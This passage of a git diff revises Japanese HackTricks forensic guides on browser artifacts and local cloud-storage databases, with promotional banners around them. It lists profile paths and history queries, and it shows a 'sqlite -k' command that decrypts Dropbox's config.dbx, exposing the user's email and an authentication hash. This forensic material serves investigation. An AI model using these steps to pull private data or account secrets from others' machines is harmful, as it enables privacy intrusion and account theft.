すべての差分がすべてのタイプを持つわけではないことに注意してください。たとえば、インデックスから作業ツリーへの差分には、追加されたエントリが存在しない場合があります(差分に含まれるパスのセットはインデックスに含まれるものに制限されるため)。同様に、コピーされたエントリと名前が変更されたエントリは、それらのタイプの検出が無効になっている場合には表示されません。 @@ -471,18 +548,18 @@ git diff --no-index --diff-filter=A _openwrt1.extracted/squashfs-root/ _openwrt2 **サイバーセキュリティ企業で働いていますか?** **HackTricks**で**あなたの会社を宣伝**したいですか?または、**PEASSの最新バージョンにアクセスしたり、HackTricksをPDFでダウンロード**したいですか?[**SUBSCRIPTION PLANS**](https://github.com/sponsors/carlospolop)をチェックしてください! -* [**The PEASS Family**](https://opensea.io/collection/the-peass-family)を発見しましょう。独占的な[**NFT**](https://opensea.io/collection/the-peass-family)のコレクションです。 -* [**公式のPEASS&HackTricksのグッズ**](https://peass.creator-spring.com)を手に入れましょう。 -* [**💬**](https://emojipedia.org/speech-balloon/) [**Discordグループ**](https://discord.gg/hRep4RUj7f)または[**Telegramグループ**](https://t.me/peass)に**参加**するか、**Twitter**で**フォロー**してください[**🐦**](https://github.com/carlospolop/hacktricks/tree/7af18b62b3bdc423e11444677a6a73d4043511e9/\[https:/emojipedia.org/bird/README.md)[**@carlospolopm**](https://twitter.com/hacktricks_live)**。** +* [**The PEASS Family**](https://opensea.io/collection/the-peass-family)を発見しましょう。独占的な[**NFT**](https://opensea.io/collection/the-peass-family)のコレクション +* [**公式のPEASS&HackTricksのグッズ**](https://peass.creator-spring.com)を手に入れましょう +* [**💬**](https://emojipedia.org/speech-balloon/) [**Discordグループ**](https://discord.gg/hRep4RUj7f)または[**Telegramグループ**](https://t.me/peass)に**参加**するか、**Twitter**で**フォロー**する[**🐦**](https://github.com/carlospolop/hacktricks/tree/7af18b62b3bdc423e11444677a6a73d4043511e9/\[https:/emojipedia.org/bird/README.md)[**@carlospolopm**](https://twitter.com/hacktricks_live)**。** **ハッキングのトリックを共有するには、[hacktricksリポジトリ](https://github.com/carlospolop/hacktricks)と[hacktricks-cloudリポジトリ](https://github.com/carlospolop/hacktricks-cloud)にPRを提出してください。** -![](<../../.gitbook/assets/image (9) (1) (2).png>) +
\ -[**Trickest**](https://trickest.com/?utm\_campaign=hacktrics\&utm\_medium=banner\&utm\_source=hacktricks)を使用して、世界で最も高度なコミュニティツールによって強化されたワークフローを簡単に構築して自動化しましょう。\ +[**Trickest**](https://trickest.com/?utm\_campaign=hacktrics\&utm\_medium=banner\&utm\_source=hacktricks)を使用して、世界で最も高度なコミュニティツールによって強化されたワークフローを簡単に構築して自動化します。\ 今すぐアクセスを取得: {% embed url="https://trickest.com/?utm_campaign=hacktrics&utm_medium=banner&utm_source=hacktricks" %} diff --git a/forensics/basic-forensic-methodology/specific-software-file-type-tricks/browser-artifacts.md b/forensics/basic-forensic-methodology/specific-software-file-type-tricks/browser-artifacts.md index 0ed5eff0d..1e907717b 100644 --- a/forensics/basic-forensic-methodology/specific-software-file-type-tricks/browser-artifacts.md +++ b/forensics/basic-forensic-methodology/specific-software-file-type-tricks/browser-artifacts.md @@ -12,10 +12,10 @@ -![](<../.gitbook/assets/image (9) (1) (2).png>) +
\ -[**Trickest**](https://trickest.io/)を使用して、世界で最も高度なコミュニティツールによるワークフローを簡単に構築し、自動化しましょう。\ +[**Trickest**](https://trickest.io/)を使用して、世界で最も高度なコミュニティツールによるワークフローを簡単に構築し、自動化します。\ 今すぐアクセスしてください: {% embed url="https://trickest.com/?utm_campaign=hacktrics&utm_medium=banner&utm_source=hacktricks" %} @@ -39,26 +39,26 @@ * **ファビコン:** タブ、URL、ブックマークなどで見つかる小さなアイコンです。ユーザーが訪れたウェブサイトや場所に関する追加情報を取得するための別の情報源として使用できます。 * **ブラウザセッション:** 自己説明的です。 * **ダウンロード:** 自己説明的です。 -* **フォームデータ:** フォーム内に入力された内容は、ブラウザによって保存されることが多いため、次回ユーザーがフォームに入力する際に以前に入力されたデータをブラウザが提案できます。 +* **フォームデータ:** フォーム内に入力された内容は、ブラウザによって保存されることがあります。したがって、次回ユーザーがフォームに入力する際に、ブラウザは以前に入力されたデータを提案することができます。 * **サムネイル:** 自己説明的です。 * **カスタム辞書.txt:** ユーザーによって辞書に追加された単語。 ## Firefox Firefoxは、\~/_**.mozilla/firefox/**_(Linux)、**/Users/$USER/Library/Application Support/Firefox/Profiles/**(MacOS)、_**%userprofile%\AppData\Roaming\Mozilla\Firefox\Profiles\\**_(Windows)にプロファイルフォルダを作成します。\ -このフォルダ内には、ユーザープロファイルの名前が記載された_**profiles.ini**_ファイルが表示されるはずです。\ -各プロファイルには、そのデータが保存されるフォルダの名前を示す「**Path**」変数があります。フォルダは、_profiles.ini_ファイルと同じディレクトリに存在するはずです。存在しない場合は、おそらく削除されたものです。 +このフォルダ内には、ユーザープロファイルの名前が記載された _**profiles.ini**_ ファイルが表示されるはずです。\ +各プロファイルには、そのデータが保存されるフォルダの名前を示す "**Path**" 変数があります。このフォルダは、_profiles.ini_ と同じディレクトリに存在するはずです。存在しない場合は、おそらく削除されたものです。 -各プロファイルのフォルダ(_\~/.mozilla/firefox/\/_)内には、次の興味深いファイルが見つかるはずです。 +各プロファイルのフォルダ(_\~/.mozilla/firefox/\/_)内には、次の興味深いファイルがあるはずです。 -* _**places.sqlite**_:履歴(moz\_\_places)、ブックマーク(moz\_bookmarks)、およびダウンロード(moz\_\_annos)に関するデータ。Windowsでは、ツール[BrowsingHistoryView](https://www.nirsoft.net/utils/browsing\_history\_view.html)を使用して、_**places.sqlite**_内の履歴を読み取ることができます。 +* _**places.sqlite**_:履歴(moz\_\_places)、ブックマーク(moz\_bookmarks)、およびダウンロード(moz\_\_annos)に関するデータ。Windowsでは、ツール[BrowsingHistoryView](https://www.nirsoft.net/utils/browsing\_history\_view.html)を使用して、_**places.sqlite**_ 内の履歴を読み取ることができます。 * 履歴をダンプするクエリ:`select datetime(lastvisitdate/1000000,'unixepoch') as visit_date, url, title, visit_count, visit_type FROM moz_places,moz_historyvisits WHERE moz_places.id = moz_historyvisits.place_id;` * リンクタイプは、以下のように示される番号です: * 1:ユーザーがリンクをクリックしました * 2:ユーザーがURLを入力しました * 3:ユーザーがお気に入りを使用しました -* 4:Iframeからロードされました -* 5:HTTPリダイレクト301経由でアクセスされました +* 4:Iframeから読み込まれました +* 5:HTTPリダイレクト301経由でアクセスされ * _**logins.json**_ : 暗号化されたユーザー名とパスワード * **ブラウザの組み込みのフィッシング対策:** `grep 'browser.safebrowsing' ~/Library/Application Support/Firefox/Profiles/*/prefs.js` * セーフサーチ設定が無効にされている場合、"safebrowsing.malware.enabled"と"phishing.enabled"がfalseとして返されます @@ -84,7 +84,7 @@ done < $passfile ## Google Chrome -Google Chromeは、ユーザーのホームディレクトリ内の_**\~/.config/google-chrome/**_(Linux)、_**C:\Users\XXX\AppData\Local\Google\Chrome\User Data\\**_(Windows)、または_**/Users/$USER/Library/Application Support/Google/Chrome/**_(MacOS)にプロファイルを作成します。ほとんどの情報は、前述のパス内の_**Default/**_または_**ChromeDefaultData/**_フォルダに保存されます。ここで、次の興味深いファイルを見つけることができます: +Google Chromeは、ユーザーのホームディレクトリ内の_**\~/.config/google-chrome/**_(Linux)、_**C:\Users\XXX\AppData\Local\Google\Chrome\User Data\\**_(Windows)、または_**/Users/$USER/Library/Application Support/Google/Chrome/**_(MacOS)にプロファイルを作成します。ほとんどの情報は、前述のパス内の_Default/_または_ChromeDefaultData/_フォルダに保存されます。ここで、次の興味深いファイルを見つけることができます: * _**History**_:URL、ダウンロード、さらには検索キーワードまで。Windowsでは、ツール[ChromeHistoryView](https://www.nirsoft.net/utils/chrome\_history\_view.html)を使用して履歴を読み取ることができます。"Transition Type"列の意味は次のとおりです: * Link:ユーザーがリンクをクリックしました @@ -104,28 +104,28 @@ Google Chromeは、ユーザーのホームディレクトリ内の_**\~/.config * _**Last Session**_および_**Last Tabs**_:これらのファイルには、Chromeが最後に閉じられたときにブラウザでアクティブだったサイトが保存されています。 * _**Extensions**_:拡張機能とアドオンのフォルダ * **Thumbnails**:サムネイル -* **Preferences**:このファイルには、プラグイン、拡張機能、ジオロケーションを使用するサイト、ポップアップ、通知、DNSプリフェッチング、証明書例外など、多くの有用な情報が含まれています。特定のChromeの設定が有効になっているかどうかを調査しようとしている場合、おそらくこの設定をここで見つけることができるでしょう。 +* **Preferences**:このファイルには、プラグイン、拡張機能、ジオロケーションを使用するサイト、ポップアップ、通知、DNSプリフェッチング、証明書の例外など、多くの有用な情報が含まれています。特定のChromeの設定が有効になっているかどうかを調査しようとしている場合、おそらくこの設定をここで見つけることができるでしょう。 * **ブラウザの組み込みのフィッシング対策**:`grep 'safebrowsing' ~/Library/Application Support/Google/Chrome/Default/Preferences`を使用します -* 単純に「**safebrowsing**」をgrepして、結果の中で`{"enabled: true,"}`を見つけると、フィッシング対策とマルウェア保護がオンになっていることを示します。 +* 単純に「**safebrowsing**」をgrepして、結果に`{"enabled: true,"}`があるかどうかを確認すると、フィッシング対策とマルウェア保護が有効になっていることがわかります。 ## **SQLite DBデータの回復** -前のセクションで観察できるように、ChromeとFirefoxの両方がデータを保存するために**SQLite**データベースを使用しています。ツール[**sqlparse**](https://github.com/padfoot999/sqlparse) **または** [**sqlparse\_gui**](https://github.com/mdegrazia/SQLite-Deleted-Records-Parser/releases)を使用して、削除されたエントリを回復することができます。 +前のセクションで観察できるように、ChromeとFirefoxの両方がデータを保存するために**SQLite**データベースを使用しています。ツール[**sqlparse**](https://github.com/padfoot999/sqlparse)または[**sqlparse\_gui**](https://github.com/mdegrazia/SQLite-Deleted-Records-Parser/releases)を使用して、削除されたエントリを回復することが可能です。 ## **Internet Explorer 11** Internet Explorerは、データとメタデータを異なる場所に保存します。メタデータを使用してデータを見つけることができます。 メタデータは、フォルダ`%userprofile%\Appdata\Local\Microsoft\Windows\WebCache\WebcacheVX.data`にあります(VXはV01、V16、またはV24になります)。\ -前のフォルダには、ファイルV01.logもあります。このファイルの**変更時刻**とWebcacheVX.dataファイルの**異なる場合**、コマンド`esentutl /r V01 /d`を実行して、可能な**非互換性**を修正する必要があります。 +前のフォルダには、ファイルV01.logも含まれています。このファイルの**変更時刻**とWebcacheVX.dataファイルの**異なる場合**、コマンド`esentutl /r V01 /d`を実行して、可能な**非互換性**を修正する必要があります。 このアーティファクトを**回復**した後(これはESEデータベースであり、photorecを使用してExchange DatabaseまたはEDBのオプションで回復できます)、プログラム[ESEDatabaseView](https://www.nirsoft.net/utils/ese\_database\_view.html)を使用して開くことができます。開いたら、"**Containers**"という名前のテーブルに移動します。 ![](<../../../.gitbook/assets/image (446).png>) -このテーブルの中で、保存された情報の各部分がどの他のテーブルまたはコンテナに保存されているかを見つけることができます。それに続いて、ブラウザによって保存されたデータの**場所**と**メタデータ**を見つけることができます。 +このテーブルの中には、保存された情報の各部分がどの他のテーブルまたはコンテナに保存されているかが記載されています。それに続いて、ブラウザによって保存されたデータの場所とメタデータが示されています。 -**このテーブルは、他のMicrosoftのツール(例:skype)のキャッシュのメタデータも示していることに注意してください** +**このテーブルは、他のMicrosoftツール(例:skype)のキャッシュのメタデータも示しています** ### キャッシュ @@ -148,7 +148,7 @@ Internet Explorerは、データとメタデータを異なる場所に保存し キャッシュ情報は、_**%userprofile%\Appdata\Local\Microsoft\Windows\Temporary Internet Files\Content.IE5**_および_**%userprofile%\Appdata\Local\Microsoft\Windows\Temporary Internet Files\Content.IE5\low**_にあります。 -これらのフォルダ内の情報は、ユーザーが表示していた内容の**スナップショット**です。キャッシュのサイズは**250 MB**であり、タイムスタンプはページが訪問された時点(初回、NTFSの作成日、最後の時間、NTFSの変更日時)を示しています。 +これらのフォルダ内の情報は、ユーザーが表示していた内容のスナップショットです。キャッシュのサイズは**250 MB**であり、タイムスタンプはページが訪問された時点(初回、NTFSの作成日、最後の時間、NTFSの変更日時)を示しています。 ### クッキー @@ -175,81 +175,79 @@ Internet Explorerは、データとメタデータを異なる場所に保存し #### **メタデータ** -[ESEDatabaseView](https://www.nirsoft.net/utils/ese\_database\_view.html)というツールを使用して、ダウンロードのメタデータを含むコンテナを確認できます。 +ツール[ESEDatabaseView](https://www.nirsoft.net/utils/ese\_database\_view.html)をチェックすると、ダウンロードのメタデータが含まれるコンテナを見つけることができます。 ![](<../../../.gitbook/assets/image (445).png>) -"ResponseHeaders"列の情報を取得し、その情報を16進数から変換することで、ダウンロードされたファイルのURL、ファイルタイプ、および場所を取得できます。 +「ResponseHeaders」列の情報を取得し、その情報を16進数から変換することで、URL、ファイルの種類、ダウンロードされたファイルの場所を取得できます。 #### ファイル -パス _**%userprofile%\Appdata\Roaming\Microsoft\Windows\IEDownloadHistory**_ を確認してください。 +パス「_**%userprofile%\Appdata\Roaming\Microsoft\Windows\IEDownloadHistory**_」を確認してください。 ### **履歴** -[BrowsingHistoryView](https://www.nirsoft.net/utils/browsing\_history\_view.html)というツールを使用して履歴を読み取ることができます。ただし、最初にブラウザと抽出された履歴ファイルの場所を指定する必要があります。 +ツール[BrowsingHistoryView](https://www.nirsoft.net/utils/browsing\_history\_view.html)を使用して履歴を読み取ることができます。ただし、最初にブラウザと抽出された履歴ファイルの場所を指定する必要があります。 #### **メタデータ** -* ModifiedTime: URLが最初に見つかった時刻 -* AccessedTime: 最後のアクセス時刻 -* AccessCount: アクセス回数 +* ModifiedTime:URLが最初に見つかった時刻 +* AccessedTime:最後の時刻 +* AccessCount:アクセス回数 #### **ファイル** -_**userprofile%\Appdata\Local\Microsoft\Windows\History\History.IE5**_ および _**userprofile%\Appdata\Local\Microsoft\Windows\History\Low\History.IE5**_ を検索してください。 +「_**userprofile%\Appdata\Local\Microsoft\Windows\History\History.IE5**_」および「_**userprofile%\Appdata\Local\Microsoft\Windows\History\Low\History.IE5**_」を検索します。 ### **入力済みのURL** -この情報は、レジストリのNTDUSER.DAT内のパスに見つけることができます。 +この情報は、レジストリNTDUSER.DATのパス「_**Software\Microsoft\InternetExplorer\TypedURLs**_」にあります。 -* _**Software\Microsoft\InternetExplorer\TypedURLs**_ -* ユーザーが入力した最後の50のURLを保存します -* _**Software\Microsoft\InternetExplorer\TypedURLsTime**_ -* URLが入力された最後の時刻を保存します +* ユーザーが入力した最後の50個のURLを保存します。 +* 「_**Software\Microsoft\InternetExplorer\TypedURLsTime**_」には、URLが最後に入力された時刻が保存されます。 ## Microsoft Edge -Microsoft Edgeのアーティファクトを分析するためには、前のセクション(IE 11)のキャッシュと場所に関する説明がすべて有効であることに注意してください。ただし、この場合のベースの場所は _**%userprofile%\Appdata\Local\Packages**_ です(次のパスで確認できます): +Microsoft Edgeのアーティファクトを分析するために、前のセクション(IE 11)のキャッシュと場所に関する説明はすべて有効ですが、基本的な場所は「_**%userprofile%\Appdata\Local\Packages**_」です(次のパスで確認できます)。 -* プロファイルパス: _**C:\Users\XX\AppData\Local\Packages\Microsoft.MicrosoftEdge\_XXX\AC**_ -* 履歴、クッキー、ダウンロード: _**C:\Users\XX\AppData\Local\Microsoft\Windows\WebCache\WebCacheV01.dat**_ -* 設定、ブックマーク、読み取りリスト: _**C:\Users\XX\AppData\Local\Packages\Microsoft.MicrosoftEdge\_XXX\AC\MicrosoftEdge\User\Default\DataStore\Data\nouser1\XXX\DBStore\spartan.edb**_ -* キャッシュ: _**C:\Users\XXX\AppData\Local\Packages\Microsoft.MicrosoftEdge\_XXX\AC#!XXX\MicrosoftEdge\Cache**_ -* 最後のアクティブなセッション: _**C:\Users\XX\AppData\Local\Packages\Microsoft.MicrosoftEdge\_XXX\AC\MicrosoftEdge\User\Default\Recovery\Active**_ +* プロファイルパス:「_**C:\Users\XX\AppData\Local\Packages\Microsoft.MicrosoftEdge\_XXX\AC**_」 +* 履歴、クッキー、ダウンロード:「_**C:\Users\XX\AppData\Local\Microsoft\Windows\WebCache\WebCacheV01.dat**_」 +* 設定、ブックマーク、読み取りリスト:「_**C:\Users\XX\AppData\Local\Packages\Microsoft.MicrosoftEdge\_XXX\AC\MicrosoftEdge\User\Default\DataStore\Data\nouser1\XXX\DBStore\spartan.edb**_」 +* キャッシュ:「_**C:\Users\XXX\AppData\Local\Packages\Microsoft.MicrosoftEdge\_XXX\AC#!XXX\MicrosoftEdge\Cache**_」 +* 最後のアクティブなセッション:「_**C:\Users\XX\AppData\Local\Packages\Microsoft.MicrosoftEdge\_XXX\AC\MicrosoftEdge\User\Default\Recovery\Active**_」 ## **Safari** -データベースは `/Users/$User/Library/Safari` にあります。 +データベースは`/Users/$User/Library/Safari`にあります。 -* **History.db**: `history_visits`テーブルと`history_items`テーブルには、履歴とタイムスタンプに関する情報が含まれています。 +* **History.db**:`history_visits`と`history_items`テーブルには、履歴とタイムスタンプに関する情報が含まれています。 * `sqlite3 ~/Library/Safari/History.db "SELECT h.visit_time, i.url FROM history_visits h INNER JOIN history_items i ON h.history_item = i.id"` -* **Downloads.plist**: ダウンロードされたファイルに関する情報が含まれています。 -* **Book-marks.plist**: ブックマークされたURL。 -* **TopSites.plist**: ユーザーが最も頻繁に閲覧するウェブサイトのリスト。 -* **Extensions.plist**: 古いスタイルのSafariブラウザ拡張機能のリストを取得するために使用します。 +* **Downloads.plist**:ダウンロードされたファイルに関する情報が含まれています。 +* **Book-marks.plist**:ブックマークされたURL。 +* **TopSites.plist**:ユーザーが最も頻繁に閲覧するウェブサイトのリスト。 +* **Extensions.plist**:古いスタイルのSafariブラウザ拡張機能のリストを取得するために使用します。 * `plutil -p ~/Library/Safari/Extensions/Extensions.plist| grep "Bundle Directory Name" | sort --ignore-case` * `pluginkit -mDvvv -p com.apple.Safari.extension` -* **UserNotificationPermissions.plist**: 通知を送信することが許可されているドメイン。 +* **UserNotificationPermissions.plist**:通知をプッシュすることが許可されているドメイン。 * `plutil -p ~/Library/Safari/UserNotificationPermissions.plist | grep -a3 '"Permission" => 1'` -* **LastSession.plist**: ユーザーがSafariを終了したときに開かれていたタブ。 +* **LastSession.plist**:ユーザーがSafariを終了したときに開かれていたタブ。 * `plutil -p ~/Library/Safari/LastSession.plist | grep -iv sessionstate` -* **ブラウザの組み込みのフィッシング対策**: `defaults read com.apple.Safari WarnAboutFraudulentWebsites` +* **ブラウザの組み込みのフィッシング対策**:`defaults read com.apple.Safari WarnAboutFraudulentWebsites` * 設定が有効であることを示すために、返答は1である必要があります ## Opera -データベースは `/Users/$USER/Library/Application Support/com.operasoftware.Opera` にあります。 +データベースは`/Users/$USER/Library/Application Support/com.operasoftware.Opera`にあります。 Operaは、Google Chromeとまったく同じ形式でブラウザの履歴とダウンロードデータを保存します。これは、ファイル名だけでなく、テーブル名にも適用されます。 -* **ブラウザの組み込みのフィッシング対策**: `grep --color 'fraud_protection_enabled' ~/Library/Application Support/com.operasoftware.Opera/Preferences` -* **fraud\_protection\_enabled** は **true** である必要があります +* **ブラウザの組み込みのフィッシング対策**:`grep --color 'fraud_protection_enabled' ~/Library/Application Support/com.operasoftware.Opera/Preferences` +* **fraud\_protection\_enabled**は**true**である必要があります -![](<../.gitbook/assets/image (9) (1) (2).png>) +
\ -[**Trickest**](https://trickest.io/)を使用して、世界で最も高度なコミュニティツールによって強化されたワークフローを簡単に構築し、自動化できます。\ +[**Trickest**](https://trickest.io/)を使用して、世界で最も高度なコミュニティツールによって強化されたワークフローを簡単に構築し、自動化します。\ 今すぐアクセスを取得: {% embed url="https://trickest.com/?utm_campaign=hacktrics&utm_medium=banner&utm_source=hacktricks" %} @@ -258,10 +256,10 @@ Operaは、Google Chromeとまったく同じ形式でブラウザの履歴と ☁️ HackTricks Cloud ☁️ -🐦 Twitter 🐦 - 🎙️ Twitch 🎙️ - 🎥 Youtube 🎥 -* **サイバーセキュリティ企業で働いていますか?** HackTricksであなたの会社を宣伝したいですか?または、最新バージョンのPEASSを入手したり、HackTricksをPDFでダウンロードしたりしたいですか?[**SUBSCRIPTION PLANS**](https://github.com/sponsors/carlospolop)をチェックしてください! -* [**The PEASS Family**](https://opensea.io/collection/the-peass-family)をご覧ください。独占的な[NFT](https://opensea.io/collection/the-peass-family)のコレクションです。 +* **サイバーセキュリティ企業で働いていますか?** HackTricksで**会社を宣伝**したいですか?または、**最新バージョンのPEASSを入手**したいですか?または、HackTricksをPDFでダウンロードしたいですか?[**SUBSCRIPTION PLANS**](https://github.com/sponsors/carlospolop)をチェックしてください! +* [**The PEASS Family**](https://opensea.io/collection/the-peass-family)を見つけてください。独占的な[NFT](https://opensea.io/collection/the-peass-family)のコレクションです。 * [**公式のPEASS&HackTricksグッズ**](https://peass.creator-spring.com)を手に入れましょう。 -* [**💬**](https://emojipedia.org/speech-balloon/) [**Discordグループ**](https://discord.gg/hRep4RUj7f)または[**Telegramグループ**](https://t.me/peass)に参加するか、**Twitter** [**🐦**](https://github.com/carlospolop/hacktricks/tree/7af18b62b3bdc423e11444677a6a73d4043511e9/\[https:/emojipedia.org/bird/README.md)[**@carlospolopm**](https://twitter.com/hacktricks_live)**をフォローしてください。** -* **ハッキングのトリックを共有するには、** [**hacktricks repo**](https://github.com/carlospolop/hacktricks) **と** [**hacktricks-cloud repo**](https://github.com/carlospolop/hacktricks-cloud) **にPRを提出してください。** +* [**💬**](https://emojipedia.org/speech-balloon/) [**Discordグループ**](https://discord.gg/hRep4RUj7f)または[**Telegramグループ**](https://t.me/peass)に参加するか、**Twitter** [**🐦**](https://github.com/carlospolop/hacktricks/tree/7af18b62b3bdc423e11444677a6a73d4043511e9/\[https:/emojipedia.org/bird/README.md)[**@carlospolopm**](https://twitter.com/hacktricks_live)**をフォロー**してください。 +* **ハッキングのトリックを共有するには、**[**hacktricks repo**](https://github.com/carlospolop/hacktricks) **と** [**hacktricks-cloud repo**](https://github.com/carlospolop/hacktricks-cloud) **にPRを提出**してください。 diff --git a/forensics/basic-forensic-methodology/specific-software-file-type-tricks/local-cloud-storage.md b/forensics/basic-forensic-methodology/specific-software-file-type-tricks/local-cloud-storage.md index 6ca594cf2..16525a90a 100644 --- a/forensics/basic-forensic-methodology/specific-software-file-type-tricks/local-cloud-storage.md +++ b/forensics/basic-forensic-methodology/specific-software-file-type-tricks/local-cloud-storage.md @@ -5,14 +5,14 @@ ☁️ HackTricks Cloud ☁️ -🐦 Twitter 🐦 - 🎙️ Twitch 🎙️ - 🎥 Youtube 🎥 * **サイバーセキュリティ企業**で働いていますか? **HackTricksで会社を宣伝**したいですか?または、**PEASSの最新バージョンにアクセスしたり、HackTricksをPDFでダウンロード**したいですか?[**SUBSCRIPTION PLANS**](https://github.com/sponsors/carlospolop)をチェックしてください! -* [**The PEASS Family**](https://opensea.io/collection/the-peass-family)を見つけてください。独占的な[**NFT**](https://opensea.io/collection/the-peass-family)のコレクションです。 +* [**The PEASS Family**](https://opensea.io/collection/the-peass-family)を見つけてください。これは、私たちの独占的な[**NFT**](https://opensea.io/collection/the-peass-family)のコレクションです。 * [**公式のPEASS&HackTricksのグッズ**](https://peass.creator-spring.com)を手に入れましょう。 -* [**💬**](https://emojipedia.org/speech-balloon/) [**Discordグループ**](https://discord.gg/hRep4RUj7f)または[**telegramグループ**](https://t.me/peass)に**参加**するか、**Twitter**で**フォロー**してください[**🐦**](https://github.com/carlospolop/hacktricks/tree/7af18b62b3bdc423e11444677a6a73d4043511e9/\[https:/emojipedia.org/bird/README.md)[**@carlospolopm**](https://twitter.com/hacktricks_live)**。** -* **ハッキングのトリックを共有するには、PRを** [**hacktricks repo**](https://github.com/carlospolop/hacktricks) **と** [**hacktricks-cloud repo**](https://github.com/carlospolop/hacktricks-cloud) **に提出してください。** +* [**💬**](https://emojipedia.org/speech-balloon/) [**Discordグループ**](https://discord.gg/hRep4RUj7f)または[**telegramグループ**](https://t.me/peass)に**参加**するか、**Twitter**で[**🐦**](https://github.com/carlospolop/hacktricks/tree/7af18b62b3bdc423e11444677a6a73d4043511e9/\[https:/emojipedia.org/bird/README.md)[**@carlospolopm**](https://twitter.com/hacktricks_live)**をフォロー**してください。 +* **ハッキングのトリックを共有する**には、[**hacktricks repo**](https://github.com/carlospolop/hacktricks)と[**hacktricks-cloud repo**](https://github.com/carlospolop/hacktricks-cloud)にPRを提出してください。 -![](<../.gitbook/assets/image (9) (1) (2).png>) +
\ [**Trickest**](https://trickest.io/)を使用して、世界で最も高度なコミュニティツールによって強化された**ワークフローを簡単に構築**および**自動化**します。\ @@ -22,7 +22,7 @@ ## OneDrive -Windowsでは、OneDriveフォルダは`\Users\\AppData\Local\Microsoft\OneDrive`にあります。そして、`logs\Personal`の中には、同期されたファイルに関するいくつかの興味深いデータが含まれている`SyncDiagnostics.log`というファイルがあります: +Windowsでは、OneDriveフォルダは`\Users\\AppData\Local\Microsoft\OneDrive`にあります。そして、`logs\Personal`の中には、同期されたファイルに関するいくつかの興味深いデータが含まれている`SyncDiagnostics.log`というファイルがあります。 * バイト単位のサイズ * 作成日 @@ -33,12 +33,12 @@ Windowsでは、OneDriveフォルダは`\Users\\AppData\Local\Microsof * レポート生成時間 * OSのHDのサイズ -CIDを見つけたら、**このIDを含むファイルを検索**することをお勧めします。OneDriveと同期されたファイルの名前が_**\.ini**_と_**\.dat**_のようなファイルを見つけることができるかもしれません。これらのファイルには、OneDriveと同期されたファイルの名前など、興味深い情報が含まれている可能性があります。 +CIDを見つけたら、**このIDを含むファイルを検索**することをお勧めします。OneDriveと同期されたファイルの名前が含まれている可能性がある_**\.ini**_と_**\.dat**_という名前のファイルには、興味深い情報が含まれているかもしれません。 ## Google Drive Windowsでは、メインのGoogle Driveフォルダは`\Users\\AppData\Local\Google\Drive\user_default`にあります。\ -このフォルダには、アカウントのメールアドレス、ファイル名、タイムスタンプ、ファイルのMD5ハッシュなどの情報が含まれるSync\_log.logというファイルがあります。削除されたファイルも、対応するMD5とともにそのログファイルに表示されます。 +このフォルダには、Sync\_log.logというファイルが含まれており、アカウントのメールアドレス、ファイル名、タイムスタンプ、ファイルのMD5ハッシュなどの情報が記録されています。削除されたファイルも、対応するMD5とともにそのログファイルに表示されます。 ファイル**`Cloud_graph\Cloud_graph.db`**は、テーブル**`cloud_graph_entry`**を含むsqliteデータベースです。このテーブルには、**同期されたファイル**の**名前**、変更時間、サイズ、およびファイルのMD5チェックサムが含まれています。 @@ -46,20 +46,20 @@ Windowsでは、メインのGoogle Driveフォルダは`\Users\\AppDat ## Dropbox -Dropboxは**SQLiteデータベース**を使用してファイルを管理します。これには、次のフォルダにデータベースがあります。 +Dropboxは、ファイルを管理するために**SQLiteデータベース**を使用しています。これには、次のフォルダにデータベースがあります。 * `\Users\\AppData\Local\Dropbox` * `\Users\\AppData\Local\Dropbox\Instance1` * `\Users\\AppData\Roaming\Dropbox` -そして、主なデータベースは次のとおりです。 +そして、メインのデータベースは次のとおりです。 * Sigstore.dbx * Filecache.dbx * Deleted.dbx * Config.dbx -".dbx"拡張子は、データベースが**暗号化**されていることを意味します。Dropboxは**DPAPI**を使用します ([https://docs.microsoft.com/en-us/previous-versions/ms995355(v=msdn.10)?redirectedfrom=MSDN](https://docs.microsoft.com/en-us/previous-versions/ms995355\(v=msdn.10\)?redirectedfrom=MSDN)) +".dbx"拡張子は、データベースが**暗号化**されていることを意味します。Dropboxは**DPAPI**を使用しています([https://docs.microsoft.com/en-us/previous-versions/ms995355(v=msdn.10)?redirectedfrom=MSDN](https://docs.microsoft.com/en-us/previous-versions/ms995355\(v=msdn.10\)?redirectedfrom=MSDN))。 Dropboxが使用する暗号化をよりよく理解するために、[https://blog.digital-forensics.it/2017/04/brush-up-on-dropbox-dbx-decryption.html](https://blog.digital-forensics.it/2017/04/brush-up-on-dropbox-dbx-decryption.html)を読んでください。 @@ -87,17 +87,17 @@ Dropboxが使用する暗号化をよりよく理解するために、[https://b ```bash sqlite -k config.dbx ".backup config.db" #This decompress the config.dbx and creates a clear text backup in config.db ``` -**`config.dbx`**データベースには以下の情報が含まれています: +**`config.dbx`** データベースには以下の情報が含まれています: * **Email**: ユーザーのメールアドレス * **usernamedisplayname**: ユーザーの名前 -* **dropbox\_path**: Dropboxフォルダが配置されているパス +* **dropbox\_path**: Dropboxフォルダの場所 * **Host\_id: Hash**: クラウドへの認証に使用されるハッシュ。これはウェブからのみ取り消すことができます。 * **Root\_ns**: ユーザー識別子 -**`filecache.db`**データベースには、Dropboxと同期されたすべてのファイルとフォルダに関する情報が含まれています。テーブル`File_journal`には、より多くの有用な情報があります: +**`filecache.db`** データベースには、Dropboxと同期されたすべてのファイルとフォルダに関する情報が含まれています。`File_journal` テーブルには、より多くの有用な情報があります: -* **Server\_path**: サーバー内のファイルの場所(このパスはクライアントの`host_id`で先行します)。 +* **Server\_path**: サーバー内のファイルの場所(このパスはクライアントの `host_id` で先行します)。 * **local\_sjid**: ファイルのバージョン * **local\_mtime**: 変更日時 * **local\_ctime**: 作成日時 @@ -105,15 +105,15 @@ sqlite -k config.dbx ".backup config.db" #This decompress the con このデータベース内の他のテーブルには、より興味深い情報が含まれています: * **block\_cache**: Dropboxのすべてのファイルとフォルダのハッシュ -* **block\_ref**: テーブル`block_cache`のハッシュIDをテーブル`file_journal`のファイルIDと関連付ける +* **block\_ref**: `block_cache` テーブルのハッシュIDを `file_journal` テーブルのファイルIDに関連付ける * **mount\_table**: Dropboxの共有フォルダ * **deleted\_fields**: Dropboxの削除されたファイル * **date\_added** -![](<../.gitbook/assets/image (9) (1) (2).png>) +
